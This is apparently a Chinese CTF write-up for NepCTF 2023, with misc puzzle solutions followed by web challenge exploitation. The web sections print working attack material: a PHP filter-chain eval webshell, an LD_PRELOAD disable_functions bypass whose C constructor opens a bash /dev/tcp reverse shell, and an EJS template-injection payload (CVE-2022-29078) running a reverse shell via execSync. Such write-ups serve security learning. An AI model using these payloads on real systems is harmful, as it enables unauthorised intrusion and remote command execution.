MISC
与AI共舞的哈夫曼
将给的代码扔给gpt,发现缺少一段代码,直接让它帮写出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def decompress (input_file, output_file ): with open (input_file, 'rb' ) as f: num_symbols = ord (f.read(1 )) frequencies = {} for _ in range (num_symbols): byte, freq_bytes = f.read(1 )[0 ], f.read(4 ) freq = (freq_bytes[0 ] << 24 ) | (freq_bytes[1 ] << 16 ) | (freq_bytes[2 ] << 8 ) | freq_bytes[3 ] frequencies[byte] = freq root = build_huffman_tree(frequencies) compressed_data = f.read() bit_string = '' .join(format (byte, '08b' ) for byte in compressed_data) current_node = root decompressed_data = [] for bit in bit_string: if bit == '0' : current_node = current_node.left else : current_node = current_node.right if current_node.char is not None : decompressed_data.append(current_node.char) current_node = root with open (output_file, 'wb' ) as f: f.write(bytes (decompressed_data))
codes
进去是个C语言的代码执行器
提示说环境变量里面有flag,尝试打印环境变量
linux下获取系统环境变量
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> int main (int argc, char ** argv, char ** arge) { while (*arge) { printf ("%s\n" , *arge++); } return 0 ; }
陌生的语言
给了hint:Atsuko Kagari
发现了这是一个动漫:小魔女学园
了解到这是新月文字和古龙语(我看像鸡脚语)
百度贴吧找到对照:
HEARTISYOURMAGIC
NEPNEPABELIEVING
拼起来
1 NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
小叮弹钢琴
下载后发现是一段音频,用Audacity打开
发现不是长就是短的,猜测是摩斯密码,一个个对,发现真是,得到提示
you should use this to xor something
发现了一段字符串
0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
看提示应该是要寻找另一串字符串,尝试与题目给的字符串异或
你也喜欢三月七么
三月七:耶,终于来到Nepnep星球啦,让我看看正在火热进行的Hacker夺旗大赛群聊。啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
开拓者(U_id):(端着下巴,磨蹭了一下,眼神若有所思)这好像需要经过啥256处理一下才能得到我们需要的关键。
三月七:那我们快想想怎么解开这个谜题!
flag格式:NepCTF{+m+}
hint:URL为压缩包密码
txt文件:
1 2 3 4 salt_lenth= 10 key_lenth= 16 iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值 ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
题目描述:群名很咸,salt
(长度为10),因为加了NepCTF的QQ群,发现群名NepCTF2023
正好长度为十,推测salt:NepCTF2023
经过啥256处理一下才能得到我们需要的关键:推出sha256后得到key(关键)
猜测我们对NepCTF2023
经过sha256后可以得到key
,取出前32位:
1 dd8e671df3882c5be6423cd030bd7cb6
然后AES解密=>hex解密=>base64解密:
https://img1.imgtp.com/2023/07/24/yOkXWSJT.png
星穹铁道文字:
翻译一下:
1 NepCTF{HRP_always_likes_March_7th}
web
Ezjava_Chekin
详细shiro漏洞复现及利用方法(CVE-2016-4437)
直接利用shiro反序列化工具一把梭
注入内存马(换jsp类型)
连接成功
查看start.sh
Ez_include
进入页面,有如下界面
将?
后面的内容删去后方访问:
提示让我们访问/jump.php?hint
发现这是一个文件包含,且加后缀.txt
,在注释里提示可以访问hint.ini
发现远程文件包含利用不了,提示里有一篇文章:https://tttang.com/archive/1395/
可以在github上找到利用脚本:https://github.com/synacktiv/php_filter_chain_generator
1 python3 php_filter_chain_generator.py --chain "<?php eval($_POST [1]);?>"
这样就成功了
但是查看一下disable_functions、disable_classes
把很多的函数和类给禁用了,还限制了open_basedir=/var/www/html:/tmp
所以我们需要想办法 php disable_function bypass
劫持LD_PRELOAD绕过disable_functions
LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用
劫持步骤:
生成一个我们的恶意动态链接库文件
利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
配合php的某个函数去触发我们的恶意动态链接库文件
Getshell
这个php的函数很关键。可以使用mail、error_log
等,但是这里被禁用了
我们还可以使用mb_send_mail()
它是mail()
的包装函数,因此也可以进行劫持
我们需要先编写一个恶意poc.c文件:(用来反弹shell)
__attribute__语法格式为:attribute ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,
则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。例如下面的程序:
1 2 3 4 5 6 7 #include <stdio.h> #include <unistd.h> #include <stdio.h> __attribute__ ((__constructor__)) void angel (void ) { unsetenv("LD_PRELOAD" ); system("bash -c 'bash -i >& /dev/tcp/vpsip/port 0>&1'" ); }
然后编译一下生成恶意动态链接程序poc.so
:
1 2 gcc -c -fPIC poc.c -o poc gcc --share poc -o poc.so
然后需要把这个文件给上传到服务器上去,并且使用putenv()
函数重新设置LD_PRELOAD
环境变量,最后使用mb_send_mail()
调用恶意的函数进行反弹shell
但是这里有个问题,我们没权限上传文件和写文件,相关函数被禁用了。
这里有一种方法是上传临时文件/tmp/phpxxx
,然后使用scandir("glob:///tmp/php*")
去模糊匹配的
在本地写一个上传文件的html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > POST文件上传</title > </head > <body > <form action ="url" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <<input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
将恶意的.so
文件上传并抓包,将数据包下面内容进行更改:
1 2 3 Content-Disposition: form-data; name="1" var_dump(scandir('/tmp' ));$a =scandir("glob:///tmp/php*" );$filename ="/tmp/" .$a [0];var_dump($filename );putenv("LD_PRELOAD=$filename " );mb_send_mail("" ,"" ,"" );
发送后,可以看到,反弹shell成功了
利用的是php产生的临时文件,而这个临时文件的文件名是随机 的,因此用glob伪协议 去锁定。然后劫持
触发LD_PRELOAD的函数,常见的2个mail、error_log
都可以触发系统函数send_mail
进而触发LD劫持,但是这里ban了这2个函数,因此还有个替代品mb_send_mail
最后RCE
在根目录下查看到flag
但是发现没有权限:
用环境变量提权。因为我们有一个suid的二进制文件showmsg
提权成功,然后给777权限给flag,直接读就好了
Post Crad For You
先拿到题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 var path = require ('path' );const fs = require ('fs' );const crypto = require ("crypto" );const express = require ('express' )const app = express ()const port = 3000 templateDir = path.join (__dirname, 'template' ); app.set ('view engine' , 'ejs' ); app.set ('template' , templateDir); function sleep (milliSeconds ){ var StartTime =new Date ().getTime (); let i = 0 ; while (new Date ().getTime () <StartTime +milliSeconds); } app.get ('/' , function (req, res ) { return res.sendFile ('./index.html' , {root : __dirname}); }); app.get ('/create' , function (req, res ) { let uuid; let name = req.query .name ?? '' ; let address = req.query .address ?? '' ; let message = req.query .message ?? '' ; do { uuid = crypto.randomUUID (); } while (fs.existsSync (`${templateDir} /${uuid} .ejs` )) try { if (name != '' && address != '' && message != '' ) { let source = ["source" , "source1" , "source2" , "source3" ].sort (function ( ){ return 0.5 - Math .random (); }) fs.readFile (source[0 ]+".html" , 'utf8' ,function (err, pageContent ){ fs.writeFileSync (`${templateDir} /${uuid} .ejs` , pageContent.replace (/--ID--/g , uuid.replace (/-/g , "" ))); sleep (2000 ); }) } else { res.status (500 ).send ("Params `name` or `address` or `message` empty" ); return ; } } catch (err) { res.status (500 ).send ("Failed to write file" ); return ; } return res.redirect (`/page?pageid=${uuid} &name=${name} &address=${address} &message=${message} ` ); }); app.get ('/page' , (req,res ) => { let id = req.query .pageid if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i .test (id) || !fs.existsSync (`${templateDir} /${id} .ejs` )) { res.status (404 ).send ("Sorry, no such id" ) return ; } res.render (`${templateDir} /${id} .ejs` , req.query ); }) app.listen (port, () => { console .log (`App listening on port ${port} ` ) })
发现res.render(`${templateDir}/${id}.ejs`, req.query);
这段有模板注入的,他把query放进去render了。
网上是有关于这个的CVE:CVE-2022-29078
payload:
在url后加入:
1 &settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2Fport%20%3C%261'");&settings[view options][client]=true
反弹shell成功!